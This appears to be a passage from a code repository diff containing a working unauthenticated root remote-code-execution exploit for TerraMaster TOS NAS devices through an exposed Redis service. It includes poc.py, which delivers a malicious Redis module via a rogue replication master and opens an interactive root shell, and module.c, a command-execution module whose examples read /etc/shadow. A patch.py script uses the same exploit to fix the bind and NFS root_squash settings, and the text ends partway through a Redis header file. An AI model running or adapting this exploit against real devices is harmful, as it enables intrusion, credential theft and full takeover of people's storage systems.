/etc/init.d/redis.en an encrypted script that starts
"redis-server 0.0.0.0:6379", ignoring /etc/redis.conf (which
already has "bind 127.0.0.1").
Fix: Replace the desh symlink with a proper init script that starts
redis-server with /etc/redis.conf. Ensure daemonize yes is set.
Bug 2 (LPE): /etc/exports has no_root_squash on NFS exports.
Fix: Replace no_root_squash with root_squash and re-export.
Usage:
python3 patch.py <NAS_IP>
python3 patch.py <NAS_IP> --lhost <ATTACKER_IP>
python3 patch.py <NAS_IP> --no-restart
"""
import argparse
import base64
import os
import sys
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, os.path.join(SCRIPT_DIR, "rce"))
import poc
from poc import (
Progress, deliver_module, redis_load_module, redis_exec,
redis_cmd, info, good, warn, bail,
)
REDIS_INIT = """\
#!/bin/sh
# Patched by patch.py — uses /etc/redis.conf instead of hardcoded 0.0.0.0:6379
DAEMON=/usr/bin/redis-server
CONF=/etc/redis.conf
case "$1" in
start)
"$DAEMON" "$CONF"
;;
stop)
redis-cli shutdown nosave 2>/dev/null || killall redis-server 2>/dev/null
;;
restart|reload)
"$0" stop
sleep 1
"$0" start
;;
*)
echo "Usage: $0 {start|stop|restart}" >&2
exit 1
;;
esac
"""
def rexec(sock, cmd):
"""Execute a shell command on the target via system.exec."""
return redis_exec(sock, cmd)
def write_remote(sock, path, content, mode=None):
"""Write a text file on the target via base64-encoded echo."""
b64 = base64.b64encode(content.encode()).decode()
rexec(sock, f"echo '{b64}' | base64 -d > {path}")
if mode:
rexec(sock, f"chmod {mode} {path}")
def patch_redis(sock):
"""Replace the desh-encrypted Redis init script with one that honours
/etc/redis.conf, and ensure the config has daemonize yes."""
# --- verify the config already binds to localhost ---
bind_line = rexec(sock, "grep '^bind ' /etc/redis.conf")
if "127.0.0.1" not in bind_line:
bail(f"/etc/redis.conf bind is not 127.0.0.1: {bind_line.strip()}")
good(f"redis.conf bind verified: {bind_line.strip()}")
# --- ensure daemonize yes (stock config ships 'daemonize no') ---
daemonize = rexec(sock, "grep '^daemonize ' /etc/redis.conf")
if "yes" not in daemonize:
info("Setting daemonize yes in /etc/redis.conf")
rexec(sock, "sed -i 's/^daemonize .*/daemonize yes/' /etc/redis.conf")
verify = rexec(sock, "grep '^daemonize ' /etc/redis.conf")
if "yes" not in verify:
rexec(sock, "echo 'daemonize yes' >> /etc/redis.conf")
good("daemonize yes set")
else:
good(f"redis.conf daemonize verified: {daemonize.strip()}")
# --- safety: confirm init script is the vulnerable desh symlink ---
target = rexec(sock, "readlink /etc/init.d/redis 2>/dev/null || echo NOT_A_SYMLINK")
if "/usr/sbin/desh" not in target:
warn(f"/etc/init.d/redis is not the expected desh symlink ({target.strip()})")
warn("Skipping init script replacement — may already be patched")
return
# --- replace the symlink with a real init script ---
rexec(sock, "cp -a /etc/init.d/redis /etc/init.d/redis.bak.pre-patch 2>/dev/null; true")
rexec(sock, "rm -f /etc/init.d/redis")
write_remote(sock, "/etc/init.d/redis", REDIS_INIT, mode="755")
head = rexec(sock, "head -2 /etc/init.d/redis")
if "#!/bin/sh" not in head:
bail("Failed to write /etc/init.d/redis")
good("Patched /etc/init.d/redis — will use /etc/redis.conf on restart")
def patch_nfs(sock):
"""Replace no_root_squash with root_squash in /etc/exports and re-export."""
exports = rexec(sock, "cat /etc/exports 2>/dev/null")
if not exports.strip():
warn("/etc/exports is empty or missing — skipping NFS patch")
return
if "no_root_squash" not in exports:
warn("no_root_squash not found in /etc/exports — already fixed or not present")
return
info(f"Current /etc/exports:\n{exports.strip()}")
rexec(sock, "cp /etc/exports /etc/exports.bak.pre-patch")
rexec(sock, "sed -i 's/no_root_squash/root_squash/g' /etc/exports")
patched = rexec(sock, "cat /etc/exports")
if "no_root_squash" in patched:
bail("sed replacement failed on /etc/exports")
good(f"Patched /etc/exports:\n{patched.strip()}")
rexec(sock, "exportfs -ra 2>/dev/null; true")
good("NFS re-exported with root_squash")
def main():
parser = argparse.ArgumentParser(
description="Exploit TerraMaster TOS Redis RCE to patch both bugs",
)
parser.add_argument("host", help="NAS IP address")
parser.add_argument("--lhost", default=None,
help="Attacker IP reachable from target (default: auto)")
parser.add_argument("--no-restart", action="store_true",
help="Skip Redis restart after patching")
args = parser.parse_args()
poc._progress = Progress(total=8)
# --- load the .so payload ---
module_so = os.path.join(SCRIPT_DIR, "rce", "module.so")
if not os.path.isfile(module_so):
bail(f"{module_so} not found — run 'make' in rce/")
payload = open(module_so, "rb").read()
info(f"Loaded {module_so} ({len(payload)} bytes)")
# --- phase 1: exploit the RCE ---
module_path = deliver_module(args.host, payload, lhost=args.lhost)
sock = redis_load_module(args.host, module_path)
whoami = rexec(sock, "id")
if "uid=0" not in whoami:
bail(f"Not root: {whoami.strip()}")
good(f"Root: {whoami.strip()}")
# --- phase 2: patch both bugs ---
try:
patch_redis(sock)
patch_nfs(sock)
except SystemExit:
raise
except Exception as e:
warn(f"Patch failed: {e}")
rexec(sock, f"rm -f {module_path}")
try:
redis_cmd(sock, "MODULE", "UNLOAD", "system")
except OSError:
pass
sock.close()
return 1
# --- phase 3: cleanup exploit artifacts ---
info("Removing exploit module from disk")
rexec(sock, f"rm -f {module_path}")
if not args.no_restart:
info("Scheduling Redis restart in 2s")
rexec(sock, "nohup sh -c 'sleep 2; /etc/init.d/redis restart' >/dev/null 2>&1 &")
good("Redis will restart bound to 127.0.0.1 in ~2 seconds")
else:
warn("Skipped restart — run '/etc/init.d/redis restart' to apply Redis bind fix")
try:
redis_cmd(sock, "MODULE", "UNLOAD", "system")
except (BrokenPipeError, OSError):
pass
try:
sock.close()
except OSError:
pass
good("Both vulnerabilities patched")
return 0
if __name__ == "__main__":
sys.exit(main())

12
terramaster/rce/Makefile Normal file
View file

@ -0,0 +1,12 @@
CC := aarch64-linux-gnu-gcc
CFLAGS := -shared -fPIC -nostartfiles
.PHONY: all clean
all: module.so
module.so: module.c redismodule.h
$(CC) $(CFLAGS) -o $@ $<
clean:
rm -f module.so

46
terramaster/rce/module.c Normal file
View file

@ -0,0 +1,46 @@
/*
* Minimal Redis module: executes a shell command and returns stdout.
* Loaded via MODULE LOAD over an NFS share to achieve root RCE.
*
* Usage after loading:
* system.exec "id"
* system.exec "cat /etc/shadow"
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "redismodule.h"
static int cmd_exec(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (argc != 2) return RedisModule_WrongArity(ctx);
size_t len;
const char *cmd = RedisModule_StringPtrLen(argv[1], &len);
char buf[8192] = {0};
FILE *fp = popen(cmd, "r");
if (!fp)
return RedisModule_ReplyWithError(ctx, "ERR popen failed");
size_t total = 0;
while (total < sizeof(buf) - 1) {
size_t n = fread(buf + total, 1, sizeof(buf) - 1 - total, fp);
if (n == 0) break;
total += n;
}
pclose(fp);
return RedisModule_ReplyWithSimpleString(ctx, buf);
}
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (RedisModule_Init(ctx, "system", 1, REDISMODULE_APIVER_1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.exec", cmd_exec,
"write deny-oom", 0, 0, 0) == REDISMODULE_ERR)
return REDISMODULE_ERR;
return REDISMODULE_OK;
}

BIN
terramaster/rce/module.so Executable file

Binary file not shown.

379
terramaster/rce/poc.py Executable file
View file

@ -0,0 +1,379 @@
#!/usr/bin/env python3
"""
TerraMaster TOS Redis unauthenticated root RCE POC
Exploits Redis 4.0.10 running as root, bound to 0.0.0.0:6379 with no
authentication on TOS3_A1.0 4.2.41 (RTD1296).
The config file (/etc/redis.conf with "bind 127.0.0.1") is ignored because
the init script starts redis as "redis-server *:6379" without referencing it.
Attack chain (requires only network access to port 6379):
a) Use CONFIG SET to point dir/dbfilename at a writable location.
b) Use SLAVEOF to make target replicate from a rogue master we emulate.
c) Rogue master sends the compiled Redis module (.so) as the RDB payload.
d) Redis writes the payload to disk verbatim.
e) MODULE LOAD the .so, execute arbitrary commands as root.
No NFS, SSH, or credentials required only port 6379.
Usage:
python3 poc.py <NAS_IP> # interactive root shell
python3 poc.py <NAS_IP> --cmd "id" # single command
python3 poc.py <NAS_IP> --cmd "cat /etc/shadow"
Requires module.so (run `make` to build it).
"""
import argparse
import os
import random
import socket
import string
import sys
import time
REDIS_PORT = 6379
MODULE_DROP_DIR = "/tmp"
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
# ---------------------------------------------------------------------------
# Progress bar — logs scroll above, bar sticks to the bottom
# ---------------------------------------------------------------------------
class Progress:
"""Single-line progress bar on stderr. Logs print above it."""
def __init__(self, total, width=36):
self.total = total
self.width = width
self.step = 0
self.msg = ""
self.tty = sys.stderr.isatty()
def update(self, step, msg=""):
self.step = step
self.msg = msg
if self.tty:
self._draw()
def _draw(self):
filled = int(self.width * self.step / self.total)
bar = "\033[36m" + "" * filled + "\033[90m" + "" * (self.width - filled) + "\033[0m"
pct = self.step * 100 // self.total
sys.stderr.write(f"\033[2K\r {bar} {pct:3d}% {self.msg}")
sys.stderr.flush()
def clear(self):
if self.tty:
sys.stderr.write("\033[2K\r")
sys.stderr.flush()
def finish(self):
self.step = self.total
if self.tty:
filled = self.width
bar = "\033[32m" + "" * filled + "\033[0m"
sys.stderr.write(f"\033[2K\r {bar} 100% done\n")
sys.stderr.flush()
_progress = None
def _log(prefix, msg):
if _progress:
_progress.clear()
sys.stderr.write(f"{prefix} {msg}\n")
sys.stderr.flush()
if _progress and _progress.step < _progress.total:
_progress._draw()
def bail(msg):
if _progress:
_progress.clear()
sys.stderr.write(f"\n\033[31m[FATAL]\033[0m {msg}\n")
sys.exit(1)
def info(msg):
_log("\033[90m[*]\033[0m", msg)
def good(msg):
_log("\033[32m[+]\033[0m", msg)
def warn(msg):
_log("\033[33m[!]\033[0m", msg)
# ---------------------------------------------------------------------------
# Redis helpers
# ---------------------------------------------------------------------------
def redis_connect(host, port=REDIS_PORT, timeout=5):
return socket.create_connection((host, port), timeout=timeout)
def redis_cmd(sock, *args):
parts = [f"*{len(args)}\r\n"]
for a in args:
s = str(a)
parts.append(f"${len(s)}\r\n{s}\r\n")
sock.sendall("".join(parts).encode())
time.sleep(0.3)
data = b""
sock.settimeout(2)
while True:
try:
chunk = sock.recv(65536)
if not chunk:
break
data += chunk
except socket.timeout:
break
return data.decode(errors="replace")
def redis_config_get(sock, key):
resp = redis_cmd(sock, "CONFIG", "GET", key)
lines = resp.split("\r\n")
if len(lines) >= 5:
return lines[4]
return None
# ---------------------------------------------------------------------------
# Rogue Redis master (replication payload delivery)
# ---------------------------------------------------------------------------
def get_local_ip(target_host, target_port=REDIS_PORT):
s = socket.create_connection((target_host, target_port), timeout=5)
ip = s.getsockname()[0]
s.close()
return ip
def random_drop_name():
tag = ''.join(random.choices(string.ascii_lowercase, k=8))
return f".{tag}.so"
def handle_repl_handshake(conn, payload):
"""Speak just enough RESP to complete a FULLRESYNC and deliver payload."""
conn.settimeout(10)
while True:
data = conn.recv(4096)
if not data:
raise ConnectionError("slave disconnected during handshake")
text = data.decode(errors="replace").strip()
if "PSYNC" in text or "SYNC" in text:
info(f" <- {text.splitlines()[0][:60]}")
info(f" -> FULLRESYNC ({len(payload)} bytes)")
conn.sendall(f"+FULLRESYNC {'Z' * 40} 1\r\n".encode())
conn.sendall(f"${len(payload)}\r\n".encode())
conn.sendall(payload)
conn.sendall(b"\r\n")
time.sleep(2)
return
elif "PING" in text:
info(" <- PING")
info(" -> PONG")
conn.sendall(b"+PONG\r\n")
else:
first_line = text.splitlines()[0] if text else "(empty)"
info(f" <- {first_line[:60]}")
info(" -> OK")
conn.sendall(b"+OK\r\n")
def deliver_module(host, payload_bytes, lhost=None):
"""Deliver .so binary to target filesystem via Redis replication."""
_progress.update(1, "Connecting to Redis")
info(f"Connecting to {host}:{REDIS_PORT}")
sock = redis_connect(host)
drop_name = random_drop_name()
drop_path = f"{MODULE_DROP_DIR}/{drop_name}"
if lhost is None:
lhost = get_local_ip(host)
_progress.update(2, "Configuring drop location")
orig_dir = redis_config_get(sock, "dir")
orig_dbfilename = redis_config_get(sock, "dbfilename")
info(f"Saved config: dir={orig_dir} dbfilename={orig_dbfilename}")
resp = redis_cmd(sock, "CONFIG", "SET", "dir", MODULE_DROP_DIR)
if "+OK" not in resp:
bail(f"CONFIG SET dir failed: {resp.strip()}")
resp = redis_cmd(sock, "CONFIG", "SET", "dbfilename", drop_name)
if "+OK" not in resp:
bail(f"CONFIG SET dbfilename failed: {resp.strip()}")
info(f"Configured drop: dir={MODULE_DROP_DIR} dbfilename={drop_name}")
_progress.update(3, "Starting rogue master")
listen_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listen_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listen_sock.bind(("0.0.0.0", 0))
listen_sock.listen(1)
lport = listen_sock.getsockname()[1]
listen_sock.settimeout(15)
info(f"Listening on {lhost}:{lport}")
_progress.update(4, "Waiting for slave to connect")
info(f"SLAVEOF {lhost} {lport}")
redis_cmd(sock, "SLAVEOF", lhost, str(lport))
conn, addr = listen_sock.accept()
info(f"Slave connected from {addr[0]}:{addr[1]}")
_progress.update(5, "Replication handshake")
handle_repl_handshake(conn, payload_bytes)
conn.close()
listen_sock.close()
good(f"Payload written to {drop_path}")
_progress.update(6, "Restoring config")
info("SLAVEOF NO ONE")
redis_cmd(sock, "SLAVEOF", "NO", "ONE")
if orig_dir:
redis_cmd(sock, "CONFIG", "SET", "dir", orig_dir)
if orig_dbfilename:
redis_cmd(sock, "CONFIG", "SET", "dbfilename", orig_dbfilename)
info(f"Restored config: dir={orig_dir} dbfilename={orig_dbfilename}")
sock.close()
return drop_path
# ---------------------------------------------------------------------------
# Redis RCE via MODULE LOAD
# ---------------------------------------------------------------------------
def redis_load_module(host, module_path):
"""Connect, verify no auth, load module. Returns the live socket."""
_progress.update(7, "Loading module")
info(f"Connecting to {host}:{REDIS_PORT}")
try:
sock = redis_connect(host)
except (OSError, socket.timeout) as e:
bail(f"Cannot connect to Redis: {e}")
resp = redis_cmd(sock, "PING")
if "+PONG" not in resp:
bail(f"Redis requires auth or rejected PING: {resp.strip()[:200]}")
good("PONG — no authentication")
resp = redis_cmd(sock, "INFO", "server")
for key in ("redis_version", "os", "process_id", "tcp_port"):
for line in resp.splitlines():
if line.startswith(f"{key}:"):
info(f" {line.strip()}")
info(f"MODULE LOAD {module_path}")
resp = redis_cmd(sock, "MODULE", "LOAD", module_path)
if "ERR" in resp and "already loaded" not in resp.lower():
bail(f"MODULE LOAD failed: {resp.strip()}")
good("system.exec available")
_progress.finish()
return sock
def redis_exec(sock, cmd):
"""Execute a command via system.exec and return output."""
resp = redis_cmd(sock, "system.exec", cmd)
output = resp.strip()
if output.startswith("+"):
output = output[1:]
return output
def redis_cleanup(sock, module_path):
"""Remove .so from disk and unload module."""
try:
redis_exec(sock, f"rm -f {module_path}")
except (BrokenPipeError, OSError):
pass
try:
redis_cmd(sock, "MODULE", "UNLOAD", "system")
except (BrokenPipeError, OSError):
pass
try:
sock.close()
except OSError:
pass
# ---------------------------------------------------------------------------
# Interactive shell
# ---------------------------------------------------------------------------
def shell(sock, host):
"""Interactive root shell over Redis system.exec."""
warn(f"root shell on {host} via Redis — type 'exit' or Ctrl-D to quit")
while True:
try:
cmd = input(f"\x1b[1;31mroot@{host}\x1b[0m# ")
except (EOFError, KeyboardInterrupt):
print()
break
cmd = cmd.strip()
if not cmd:
continue
if cmd in ("exit", "quit"):
break
output = redis_exec(sock, cmd)
if output:
print(output)
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
global _progress
parser = argparse.ArgumentParser(
description="TerraMaster TOS Redis -> unauthenticated root RCE"
)
parser.add_argument("host", help="NAS IP address")
parser.add_argument("--cmd", default=None,
help="Single command (default: interactive shell)")
parser.add_argument("--lhost", default=None,
help="Attacker IP reachable from target (default: auto)")
args = parser.parse_args()
_progress = Progress(total=8)
module_so = os.path.join(SCRIPT_DIR, "module.so")
if not os.path.isfile(module_so):
bail(f"{module_so} not found. Run 'make' to build it.")
payload = open(module_so, "rb").read()
info(f"Loaded {module_so} ({len(payload)} bytes)")
module_on_target = deliver_module(args.host, payload, lhost=args.lhost)
sock = redis_load_module(args.host, module_on_target)
if args.cmd:
output = redis_exec(sock, args.cmd)
if output:
print(output)
else:
warn("No output.")
else:
shell(sock, args.host)
info("Cleaning up")
redis_cleanup(sock, module_on_target)
good("Done")
return 0
if __name__ == "__main__":
sys.exit(main())

View file

@ -0,0 +1,405 @@
#ifndef REDISMODULE_H
#define REDISMODULE_H
#include <sys/types.h>
#include <stdint.h>
#include <stdio.h>
/* ---------------- Defines common between core and modules --------------- */
/* Error status return values. */
#define REDISMODULE_OK 0
#define REDISMODULE_ERR 1
/* API versions. */
#define REDISMODULE_APIVER_1 1
/* API flags and constants */
#define REDISMODULE_READ (1<<0)
#define REDISMODULE_WRITE (1<<1)
#define REDISMODULE_LIST_HEAD 0
#define REDISMODULE_LIST_TAIL 1
/* Key types. */
#define REDISMODULE_KEYTYPE_EMPTY 0
#define REDISMODULE_KEYTYPE_STRING 1
#define REDISMODULE_KEYTYPE_LIST 2
#define REDISMODULE_KEYTYPE_HASH 3
#define REDISMODULE_KEYTYPE_SET 4
#define REDISMODULE_KEYTYPE_ZSET 5
#define REDISMODULE_KEYTYPE_MODULE 6
/* Reply types. */
#define REDISMODULE_REPLY_UNKNOWN -1
#define REDISMODULE_REPLY_STRING 0
#define REDISMODULE_REPLY_ERROR 1
#define REDISMODULE_REPLY_INTEGER 2
#define REDISMODULE_REPLY_ARRAY 3
#define REDISMODULE_REPLY_NULL 4
/* Postponed array length. */
#define REDISMODULE_POSTPONED_ARRAY_LEN -1
/* Expire */
#define REDISMODULE_NO_EXPIRE -1
/* Sorted set API flags. */
#define REDISMODULE_ZADD_XX (1<<0)
#define REDISMODULE_ZADD_NX (1<<1)
#define REDISMODULE_ZADD_ADDED (1<<2)
#define REDISMODULE_ZADD_UPDATED (1<<3)
#define REDISMODULE_ZADD_NOP (1<<4)
/* Hash API flags. */
#define REDISMODULE_HASH_NONE 0
#define REDISMODULE_HASH_NX (1<<0)
#define REDISMODULE_HASH_XX (1<<1)
#define REDISMODULE_HASH_CFIELDS (1<<2)
#define REDISMODULE_HASH_EXISTS (1<<3)
/* Context Flags: Info about the current context returned by RM_GetContextFlags */
/* The command is running in the context of a Lua script */
#define REDISMODULE_CTX_FLAGS_LUA 0x0001
/* The command is running inside a Redis transaction */
#define REDISMODULE_CTX_FLAGS_MULTI 0x0002
/* The instance is a master */
#define REDISMODULE_CTX_FLAGS_MASTER 0x0004
/* The instance is a slave */
#define REDISMODULE_CTX_FLAGS_SLAVE 0x0008
/* The instance is read-only (usually meaning it's a slave as well) */
#define REDISMODULE_CTX_FLAGS_READONLY 0x0010
/* The instance is running in cluster mode */
#define REDISMODULE_CTX_FLAGS_CLUSTER 0x0020
/* The instance has AOF enabled */
#define REDISMODULE_CTX_FLAGS_AOF 0x0040 //
/* The instance has RDB enabled */
#define REDISMODULE_CTX_FLAGS_RDB 0x0080 //
/* The instance has Maxmemory set */
#define REDISMODULE_CTX_FLAGS_MAXMEMORY 0x0100
/* Maxmemory is set and has an eviction policy that may delete keys */
#define REDISMODULE_CTX_FLAGS_EVICT 0x0200
#define REDISMODULE_NOTIFY_GENERIC (1<<2) /* g */
#define REDISMODULE_NOTIFY_STRING (1<<3) /* $ */
#define REDISMODULE_NOTIFY_LIST (1<<4) /* l */
#define REDISMODULE_NOTIFY_SET (1<<5) /* s */
#define REDISMODULE_NOTIFY_HASH (1<<6) /* h */
#define REDISMODULE_NOTIFY_ZSET (1<<7) /* z */
#define REDISMODULE_NOTIFY_EXPIRED (1<<8) /* x */
#define REDISMODULE_NOTIFY_EVICTED (1<<9) /* e */
#define REDISMODULE_NOTIFY_ALL (REDISMODULE_NOTIFY_GENERIC | REDISMODULE_NOTIFY_STRING | REDISMODULE_NOTIFY_LIST | REDISMODULE_NOTIFY_SET | REDISMODULE_NOTIFY_HASH | REDISMODULE_NOTIFY_ZSET | REDISMODULE_NOTIFY_EXPIRED | REDISMODULE_NOTIFY_EVICTED) /* A */
/* A special pointer that we can use between the core and the module to signal
* field deletion, and that is impossible to be a valid pointer. */
#define REDISMODULE_HASH_DELETE ((RedisModuleString*)(long)1)
/* Error messages. */
#define REDISMODULE_ERRORMSG_WRONGTYPE "WRONGTYPE Operation against a key holding the wrong kind of value"
#define REDISMODULE_POSITIVE_INFINITE (1.0/0.0)
#define REDISMODULE_NEGATIVE_INFINITE (-1.0/0.0)
#define REDISMODULE_NOT_USED(V) ((void) V)
/* ------------------------- End of common defines ------------------------ */
#ifndef REDISMODULE_CORE
typedef long long mstime_t;
/* Incomplete structures for compiler checks but opaque access. */
typedef struct RedisModuleCtx RedisModuleCtx;
typedef struct RedisModuleKey RedisModuleKey;
typedef struct RedisModuleString RedisModuleString;
typedef struct RedisModuleCallReply RedisModuleCallReply;
typedef struct RedisModuleIO RedisModuleIO;
typedef struct RedisModuleType RedisModuleType;
typedef struct RedisModuleDigest RedisModuleDigest;
typedef struct RedisModuleBlockedClient RedisModuleBlockedClient;
typedef int (*RedisModuleCmdFunc) (RedisModuleCtx *ctx, RedisModuleString **argv, int argc);
typedef int (*RedisModuleNotificationFunc) (RedisModuleCtx *ctx, int type, const char *event, RedisModuleString *key);
typedef void *(*RedisModuleTypeLoadFunc)(RedisModuleIO *rdb, int encver);
typedef void (*RedisModuleTypeSaveFunc)(RedisModuleIO *rdb, void *value);
typedef void (*RedisModuleTypeRewriteFunc)(RedisModuleIO *aof, RedisModuleString *key, void *value);
typedef size_t (*RedisModuleTypeMemUsageFunc)(const void *value);
typedef void (*RedisModuleTypeDigestFunc)(RedisModuleDigest *digest, void *value);
typedef void (*RedisModuleTypeFreeFunc)(void *value);
#define REDISMODULE_TYPE_METHOD_VERSION 1
typedef struct RedisModuleTypeMethods {
uint64_t version;
RedisModuleTypeLoadFunc rdb_load;
RedisModuleTypeSaveFunc rdb_save;
RedisModuleTypeRewriteFunc aof_rewrite;
RedisModuleTypeMemUsageFunc mem_usage;
RedisModuleTypeDigestFunc digest;
RedisModuleTypeFreeFunc free;
} RedisModuleTypeMethods;
#define REDISMODULE_GET_API(name) \
RedisModule_GetApi("RedisModule_" #name, ((void **)&RedisModule_ ## name))
#define REDISMODULE_API_FUNC(x) (*x)
void *REDISMODULE_API_FUNC(RedisModule_Alloc)(size_t bytes);
void *REDISMODULE_API_FUNC(RedisModule_Realloc)(void *ptr, size_t bytes);
void REDISMODULE_API_FUNC(RedisModule_Free)(void *ptr);
void *REDISMODULE_API_FUNC(RedisModule_Calloc)(size_t nmemb, size_t size);
char *REDISMODULE_API_FUNC(RedisModule_Strdup)(const char *str);
int REDISMODULE_API_FUNC(RedisModule_GetApi)(const char *, void *);
int REDISMODULE_API_FUNC(RedisModule_CreateCommand)(RedisModuleCtx *ctx, const char *name, RedisModuleCmdFunc cmdfunc, const char *strflags, int firstkey, int lastkey, int keystep);
void REDISMODULE_API_FUNC(RedisModule_SetModuleAttribs)(RedisModuleCtx *ctx, const char *name, int ver, int apiver);
int REDISMODULE_API_FUNC(RedisModule_IsModuleNameBusy)(const char *name);
int REDISMODULE_API_FUNC(RedisModule_WrongArity)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithLongLong)(RedisModuleCtx *ctx, long long ll);
int REDISMODULE_API_FUNC(RedisModule_GetSelectedDb)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_SelectDb)(RedisModuleCtx *ctx, int newid);
void *REDISMODULE_API_FUNC(RedisModule_OpenKey)(RedisModuleCtx *ctx, RedisModuleString *keyname, int mode);
void REDISMODULE_API_FUNC(RedisModule_CloseKey)(RedisModuleKey *kp);
int REDISMODULE_API_FUNC(RedisModule_KeyType)(RedisModuleKey *kp);
size_t REDISMODULE_API_FUNC(RedisModule_ValueLength)(RedisModuleKey *kp);
int REDISMODULE_API_FUNC(RedisModule_ListPush)(RedisModuleKey *kp, int where, RedisModuleString *ele);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ListPop)(RedisModuleKey *key, int where);
RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_Call)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...);
const char *REDISMODULE_API_FUNC(RedisModule_CallReplyProto)(RedisModuleCallReply *reply, size_t *len);
void REDISMODULE_API_FUNC(RedisModule_FreeCallReply)(RedisModuleCallReply *reply);
int REDISMODULE_API_FUNC(RedisModule_CallReplyType)(RedisModuleCallReply *reply);
long long REDISMODULE_API_FUNC(RedisModule_CallReplyInteger)(RedisModuleCallReply *reply);
size_t REDISMODULE_API_FUNC(RedisModule_CallReplyLength)(RedisModuleCallReply *reply);
RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_CallReplyArrayElement)(RedisModuleCallReply *reply, size_t idx);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateString)(RedisModuleCtx *ctx, const char *ptr, size_t len);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromLongLong)(RedisModuleCtx *ctx, long long ll);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromString)(RedisModuleCtx *ctx, const RedisModuleString *str);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringPrintf)(RedisModuleCtx *ctx, const char *fmt, ...);
void REDISMODULE_API_FUNC(RedisModule_FreeString)(RedisModuleCtx *ctx, RedisModuleString *str);
const char *REDISMODULE_API_FUNC(RedisModule_StringPtrLen)(const RedisModuleString *str, size_t *len);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithError)(RedisModuleCtx *ctx, const char *err);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithSimpleString)(RedisModuleCtx *ctx, const char *msg);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithArray)(RedisModuleCtx *ctx, long len);
void REDISMODULE_API_FUNC(RedisModule_ReplySetArrayLength)(RedisModuleCtx *ctx, long len);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithStringBuffer)(RedisModuleCtx *ctx, const char *buf, size_t len);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithString)(RedisModuleCtx *ctx, RedisModuleString *str);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithNull)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithDouble)(RedisModuleCtx *ctx, double d);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithCallReply)(RedisModuleCtx *ctx, RedisModuleCallReply *reply);
int REDISMODULE_API_FUNC(RedisModule_StringToLongLong)(const RedisModuleString *str, long long *ll);
int REDISMODULE_API_FUNC(RedisModule_StringToDouble)(const RedisModuleString *str, double *d);
void REDISMODULE_API_FUNC(RedisModule_AutoMemory)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_Replicate)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...);
int REDISMODULE_API_FUNC(RedisModule_ReplicateVerbatim)(RedisModuleCtx *ctx);
const char *REDISMODULE_API_FUNC(RedisModule_CallReplyStringPtr)(RedisModuleCallReply *reply, size_t *len);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromCallReply)(RedisModuleCallReply *reply);
int REDISMODULE_API_FUNC(RedisModule_DeleteKey)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_UnlinkKey)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_StringSet)(RedisModuleKey *key, RedisModuleString *str);
char *REDISMODULE_API_FUNC(RedisModule_StringDMA)(RedisModuleKey *key, size_t *len, int mode);
int REDISMODULE_API_FUNC(RedisModule_StringTruncate)(RedisModuleKey *key, size_t newlen);
mstime_t REDISMODULE_API_FUNC(RedisModule_GetExpire)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_SetExpire)(RedisModuleKey *key, mstime_t expire);
int REDISMODULE_API_FUNC(RedisModule_ZsetAdd)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr);
int REDISMODULE_API_FUNC(RedisModule_ZsetIncrby)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr, double *newscore);
int REDISMODULE_API_FUNC(RedisModule_ZsetScore)(RedisModuleKey *key, RedisModuleString *ele, double *score);
int REDISMODULE_API_FUNC(RedisModule_ZsetRem)(RedisModuleKey *key, RedisModuleString *ele, int *deleted);
void REDISMODULE_API_FUNC(RedisModule_ZsetRangeStop)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex);
int REDISMODULE_API_FUNC(RedisModule_ZsetLastInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex);
int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max);
int REDISMODULE_API_FUNC(RedisModule_ZsetLastInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ZsetRangeCurrentElement)(RedisModuleKey *key, double *score);
int REDISMODULE_API_FUNC(RedisModule_ZsetRangeNext)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_ZsetRangePrev)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_ZsetRangeEndReached)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_HashSet)(RedisModuleKey *key, int flags, ...);
